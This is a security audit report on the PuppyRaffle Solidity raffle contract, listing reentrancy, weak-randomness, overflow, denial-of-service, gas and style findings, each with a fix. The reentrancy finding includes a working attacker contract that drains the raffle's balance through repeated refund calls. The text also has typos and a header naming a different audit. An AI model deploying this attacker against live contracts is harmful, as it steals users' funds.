PuppyRaffle Audit Report

PasswordStore Audit Report

Tactfulgal_dev

March 24, 2025

PuppyRaffle Audit Report

Prepared by: Tactfulgal_dev Lead Auditors:

Assisting Auditors:

None

Table of contents

See table

PuppyRaffle Audit Report

About Tactfulgal_dev

Disclaimer

The Tactfulgal_dev team makes all effort to find as many vulnerabilities in the code in the given time period, but holds no responsibilities for the the findings provided in this document. A security audit by the team is not an endorsement of the underlying business or product. The audit was time-boxed

and the review of the code was solely on the security aspects of the solidity implementation of the contracts.

Risk Classification

Audit Details

The findings described in this document correspond the following commit hash:

2a47715b30cf11ca82db148704e67652ad679cd8

Scope

In Scope:

./src/

#-- PuppyRaffle.sol

Protocol Summary

This project is to enter a raffle to win a cute dog NFT. The protocol should do the following:

Call the enterRaffle function with the following parameters:

address[] participants: A list of addresses that enter. You can use this to enter yourself multiple

times, or yourself and a group of your friends.

Duplicate addresses are not allowed

Users are allowed to get a refund of their ticket & value if they call the refund function

Every X seconds, the raffle will be able to draw a winner and be minted a random puppy

The owner of the protocol will set a feeAddress to take a cut of the value, and the rest of the funds will be sent to the winner of the puppy.

Roles

Owner - Deployer of the protocol, has the power to change the wallet address to which fees are sent through the changeFeeAddress function. Player - Participant of the raffle, has the power to enter the raffle with the enterRaffle function and refund value through refund function.

Executive Summary

Issues found

Findings

High

[H-1] Reentrancy attack in PuppyRaffle::refund allows entrant to drain raffle balance

Description: The PuppyRaffle::refund function does not follow CEI (checks, effects, interactions) and as a result, enables participants to drain the contract balance.

In the PuppyRaffle::refund function, we first make an external call to the msg.sender address and only after making that external call do we update the PuppyRaffle::players array.

```
    function refund(uint256 playerIndex) public {
        address playerAddress = players[playerIndex];
        require(playerAddress == msg.sender, "PuppyRaffle: Only the player can refund");
        require(playerAddress != address(0), "PuppyRaffle: Player already refunded, or is not active");
@>      payable(msg.sender).sendValue(entranceFee);
@>      players[playerIndex] = address(0);
        emit RaffleRefunded(playerAddress);
    }
```

Aplayer who has entered the raffle could have a fallback/receive function that calls the PuppyRaffle:refund function again and claim another refund. They could continue the cycle till the contract balance is drained

Impact: All fees paid by the raffle entrants could be stolen by the malicious participant.

Proof of Concept: 1. User enters the raffle 2. Attacker sets up a contract with a fallback function that calls PuppyRaffle::refund 3. Attacker enters the raffle 4. Attacker calls PuppyRaffle::refund from their

attack contract, draining the contract balance

Proof of Code

Code

Place the following into PuppyRaffleTest.t.sol

```
function test_reentrancyRefund() public {
        address[] memory players = new address[](4);
        players[0] = playerOne;
        players[1] = playerTwo;
        players[2] = playerThree;
        players[3] = playerFour;
        puppyRaffle.enterRaffle{value: entranceFee * 4}(players);

        ReentrancyAttacker attackerContract = new ReentrancyAttacker(puppyRaffle);
        address attackUser = makeAddr("attackUser");
        vm.deal(attackUser, 1 ether);

        uint256 startingAttackContractBalance = address(attackerContract).balance;
        uint256 startingContractBalance = address(puppyRaffle).balance;
        //attack
        vm.prank(attackUser);
        attackerContract.attack{value: entranceFee}();
```

```
        console.log("starting attacker contract balance", startingAttackContractBalance);
        console.log("starting contract Balance", startingContractBalance);

        console.log("ending attacker contract balance", address(attackerContract).balance);
        console.log("ending contract balance", address(puppyRaffle).balance);}
```

And this contract as well.

```
contract ReentrancyAttacker{
    PuppyRaffle puppyRaffle;
    uint256 entranceFee;
    uint256 attackerIndex;
    constructor(PuppyRaffle _puppyRaffle){
        puppyRaffle = _puppyRaffle;
        entranceFee = puppyRaffle.entranceFee();
    }
    function atttack() external payable{
        address [] memory players = new address[](1);
        players[0] = address(this);
        puppyRaffle.enterRaffle{value: entranceFee}(players);
        attackerIndex = puppyRaffle.getActivePlayerIndex(address(this));
        puppyRaffle.refund(attackerIndex);
}
    function _stealMoney() internal{
```

```
        if (address(puppyRaffle).balance >= entranceFee){
            puppyRaff.refund(attackerIndex);
        } }

    fallback() external payable{
        _stealMoney();
    }
    receive() external payable {
        _stealMoney();
    }
}
```

Recommended Mitigation: To prevent this, we should have the PuppyRaffle:refund function update the players array before making the external call. Additionaly, we should move the event emmision upward as well.

```
     function refund(uint256 playerIndex) public {
        address playerAddress = players[playerIndex];
        require(playerAddress == msg.sender, "PuppyRaffle: Only the player can refund");
        require(playerAddress != address(0), "PuppyRaffle: Player already refunded, or is not active");
+         players[playerIndex] = address(0);
+         emit RaffleRefunded(playerAddress);
        payable(msg.sender).sendValue(entranceFee);
-       players[playerIndex] = address(0);
-       emit RaffleRefunded(playerAddress);
```

```
}
```

[H-2] Weak randomness in PuppyRaffle::selectWinner allows users to influence or predict the winner and influence or predict the winning puppy.

Description:Hashing msg.sender,block.timestampandblock.difficulty` together creates a predictable final number. A predictable number is not a good random number. Malicious users can manipulate these values or know them ahead of time to choose the winner of the raffle themselves.

Note: This additionally means users could front-run this function and call refund if they see they are not the winner.

Impact: Any user can influence the winner of the raffle, winning the money and selceting the rarest puppy. Making the entire raffle worthless if it becomes a gas war as to who wins the raffle.

Proof of Concept: 1. Validators can know ahead of time the block.timestamp, and block.difficulty and use that to predict when/how to participate. See the .. block.difficulty was recently replaced with preverando 2. Users can mine/manipulate their msg.sender value to result in their address being used to generate the winner. 3. Users can revert their selectWinner transaction if they don?t like their resulting puppy.

Using on-chain values as a randomness seed is a in the blockchain space.

Recommended Mitigation: Consider using a cryptographically provable random number generator such as Chainlink VRF.

[H-3] Integer overflow of PuppyRaffle::totalFees loses fees

Description: In Solidity versions prior to0.8.0 integers subject to intger overflow.

uint64 myVar = type(uint64).max

// 18446744073709551615

myVar = myVar + 1

// myVar will be 0

Impact: In PuppyRaffle::selecctWinner totalFees are accumulated for the feeAddress to collect later in Puppy::withdrawFees. However, if the totalFees variable overflows, the feeAddress may not collect the correct amount of fees, leaving fees permanently stuck in the contract.

Proof of Concept: 1. We conclude a raffle of 4 players. 2. We then have 89 players enter a new raffle, and conclude the raffle 3. totalFees will be:

totalFees = totalFees + uint64(Fee);

// aka

totalFees = 8000000000000000000 + 1780000000000000000

// and this will overflow!

totalFees = 153255926290448384

You will not be able to withdraw due to the line in PuppyRaffle::withdrawFees

require(address(this).balance == uint256(totalFees), "PuppyRaffle: There are currently players

active!");

Although you can use selfdestruct to send ETH to this contract in order for the values to match and withdraw the fees, this is clearly not the intended design of the protocol. At some point, there will be too much balance in the contract that the above require will be impossible to hit

Recommended Mitigation: There are a few possible mitigations

Use a newer version of solidity, and a uint256 instead of uint64 for PuppyRaffle::totalFees

You could also use the SafeMaths library of Openzeppelin for version 0.7.6 of Solidity, however you would still have a hard time with the uint64 type if too many fees are collected.

Remove the balance check from PuppyRaffle::withdrawFees

- require(address(this).balance == uint256(totalFees), "PuppyRaffle: There are currently players active!");

There are more attack vectors with that final require, so we recommend removing it regardless.

[M-1] Looping through the players array to check for duplicates in PuppyRaffle::enterRaffle is a potential denial of service attackk, incrementing gas costs for future entrants.

I

Description: The PuppyRaffle::enterRaffle function loops through the players array to check for duplicates. However, the longer the PuppyRaffle::players array is, the more checks a new player will have to make. This means the gas costs for players who enter right when when the raffle starts will dramatically lower than those who enter later. Every additional address in the players array, is an additional check the loop will have to make.

```
// @audit Dos attack
@>       for (uint256 i = 0; i < players.length - 1; i++) {
            for (uint256 j = i + 1; j < players.length; j++) {
                require(players[i] != players[j], "PuppyRaffle: Duplicate player");
            }
        }
```

Impact: The gas costs for raffle entrants will greatly increase as more players enter the raffle. Discouraging later users from entering, and causing a rush at the start of a raffle to be one of the first entrants in the queue.

An attacker might make the PuppyRaffle::entrants array so big, that no one else enters guaranteeing themselves the win.

Proof of Concept:

If we have 2 sets of 100 players enter, the gas costs will be as such: - 1st 100 players: ~6252048 gas - 2nd 100 players: ~18068138 gas

This is more than 3x more expensive for the second 100 players

PoC

Place the following test into PuppyRaffleTest.t.sol.

```
@>     function test_DenialOfService() public {
        vm.txGasPrice(1);
        uint256 playersNum = 100;
        address[] memory players = new address[](playersNum);
        for (uint256 i = 0; i< playersNum; i++){
            players[i] = address[i];
        }
        uint256 gasStart = gasleft();
        puppyRaffle.enterRaffle{value: entranceFee * players.length}(players);
        uint256 gasEnd = gasleft();

        uint256 gasUsedFirst = (gasStart - gasEnd) * tx.gasprice;
        console.log("Gas cost of the first 100 players:", gasUsedFirst);

        // for the second 100 players
         vm.txGasPrice(1);
        uint256 playersNum = 100;
        address[] memory playersTwo = new address[](playersNum);
```

```
        for (uint256 i = 0; i< playersNum; i++){
            playersTwo[i] = address[i + playersNum];
        }
        uint256 gasStartSecond = gasleft();
        puppyRaffle.enterRaffle{value: entranceFee * players.length}(playersTwo);
        uint256 gasEndSecond = gasleft();

        uint256 gasUsedSecond = (gasStartSecond - gasEndSecond) * tx.gasprice;
        console.log("Gas cost of the second 100 players:", gasUsedSecond);

        assert(gasUsedFirst < gasUsedSecond);
    }
```

Recommended Mitigation: There are a few recommendations.

Consider allowing duplicates. Users can make new wallet address anyways, so a duplicate check doesn?t prevent the same person from entering multiple times, only the same wallet address.

Consider using a mapping to check for duplicates. This would constant time lookup of whether a user has already entered.

[M-2] Smart contract wallets raffle winners without a receive or a fallback function will block the start of a new contest.

Description: The PuppyRaffle::selectWinner function is responsible for resetting the lottery.

However, if the winner is a smart contract wallet that rejects payment, the lottery would not be able to restart. Users could easily call the selectWinner function again and non-wallet entrants could enter, but it could cost a lot due to the duplicate check and a lottery reset could get very challenging.

Impact: The PuppyRaffle::selectWinner could revert many times, making a lottery reset difficult. Also, true winners would not get paid out and someone else could take their money.

Proof of Concept: 1. 10 smart contract wallets enter the lottery without a fallback or receive funnction 2. The lottery ends 3. The selectWinner function wouldn?t work, even though the lottery is over!

Recommended Mitigation: There are a few options to mitigate this issue.

Do not allow smart contract wallet entrant (not recommended)

Create a mapping of addresses -> payout amounts so winners can pull their funds out themselves with a new claimPrize function, putting the owness on the winner to claim their prize. [Recommended]

Low

[L-1] PuppyRaffle::getActivePlayerPlayerIndex returns 0 for non-existent players and for players at index 0, causing a player at index 0 to incorrectly think they have not entered the raffle.

Description: If a player is in the PuppyRaffle::players array at index 0, this will return 0, but according to the natspec, it will also return 0if the player is not in the array.

```
    function getActivePlayerIndex(address player) external view returns (uint256) {
        for (uint256 i = 0; i < players.length; i++) {
            if (players[i] == player) {
                return i;
            }
        }

        return 0;
    }
```

Impact: a player at index 0 may incorrectly think they have not entered the raffle, and attempt to enter the raffle again wasting gas.

Proof of Concept: 1. User enters the raffle, they are the first entrant 2. PuppyRaffle::getActivePlayerIndex returns 0 3. User thinks they have not entered correctly due to the function documentation.

Recommended Mitigation: The easiest recommendation is to revert if the player is not in the array instead of returning 0. You could also reserve the 0th position for any competition, but a better solution might be to return an int256 where the function returns -1 if the player is not active.

Gas

[G-1] Unchanged state variables should be declared constant or immutable

Reading from storage is much more expensive than reading from a constant or immutable variable Instances: - PuppyRaffle::raffleDuration should be immutable - PuppyRaffle::commonImageUri should be constant - PuppyRaffle::rareImageUri should be constant - PuppyRaffle:legendaryImageUri should be constant

[G-2] Storage variable in a loop should be cached

Everytime you call players.length you read from storage, as opposed to memory which is more gas efficient

```
+    uint256 playerslength = players.length;
-    for (uint256 i = 0; i < players.length - 1; i++) {
+                for (uint256 j = i + 1; j < players.length; j++) {
                     require(players[i] != players[j], "PuppyRaffle: Duplicate player");
                 }
             }
```

Informational

[I-1]: Solidity pragma should be specific, not wide

Consider using a specific version of Solidity in your contracts instead of a wide version. For example, instead of pragma solidity ^0.8.0;, use pragma solidity 0.8.0;

Found in src/PuppyRaffle.sol

```solidity pragma solidity ^0.7.6;

[I-2]: Using an outdated version of solidity is not recommended.

Solc frequently releases new compiler versions. Using an old version prevents access to new Solidity security checks. We also recommended avoiding complex pragma statement.

Recommendation: Deploy with any of the following Solidity versions:

0.8.18 The recommendations take into account: Risks related to recent releases Risks of complex code generation changes Risks of new language features Risks of known bugs Use a simple pragma version that allows any of these versions. Consider usinng the latest version of Solidity for testing.

[I-3]: Missing checks for address(0) when assigning values to address state variables

Check for address(0) when assigning values to address state variables.

2 Found Instances

Found in src/PuppyRaffle.sol

    feeAddress = _feeAddress;

Found in src/PuppyRaffle.sol
```

```
        feeAddress = newFeeAddress;
```

[I-4]: PuppyRaffle::selectWinner does not follow CEI(checks, effect, interactions), which is not a best practice.

It?s best to keep code clean and follow CEI.

```
-   (bool success,) = winner.call{value: prizePool}("");
-   require(success, "PuppyRaffle: Failed to send prize pool to winner");
    _safeMint(winner, tokenId);
+   (bool success,) = winner.call{value: prizePool}("");
+   require(success, "PuppyRaffle: Failed to send prize pool to winner");
```

[I-5] Use of ?magic? numbers is dicouraged

It can be confusing to see number literals in a codebase, and it?s even more readable if the numbers are given a name.

Examples:

```
    uint256 prizePool = (totalAmountCollected * 80) / 100;
    uint256 fee = (totalAmountCollected * 20) / 100;
```

Instead, you could use:

uint256 public constant PRIZE_POOL_PERCENTAGE = 80;

uint256 public constant FEE_PERCENTAGE = 20;

uint256 public constant POOL_PRECISION = 100;

[I-6] State changes are missing events

[I-7] PuppyRaffle::_isActivePlayer is never used and should be removed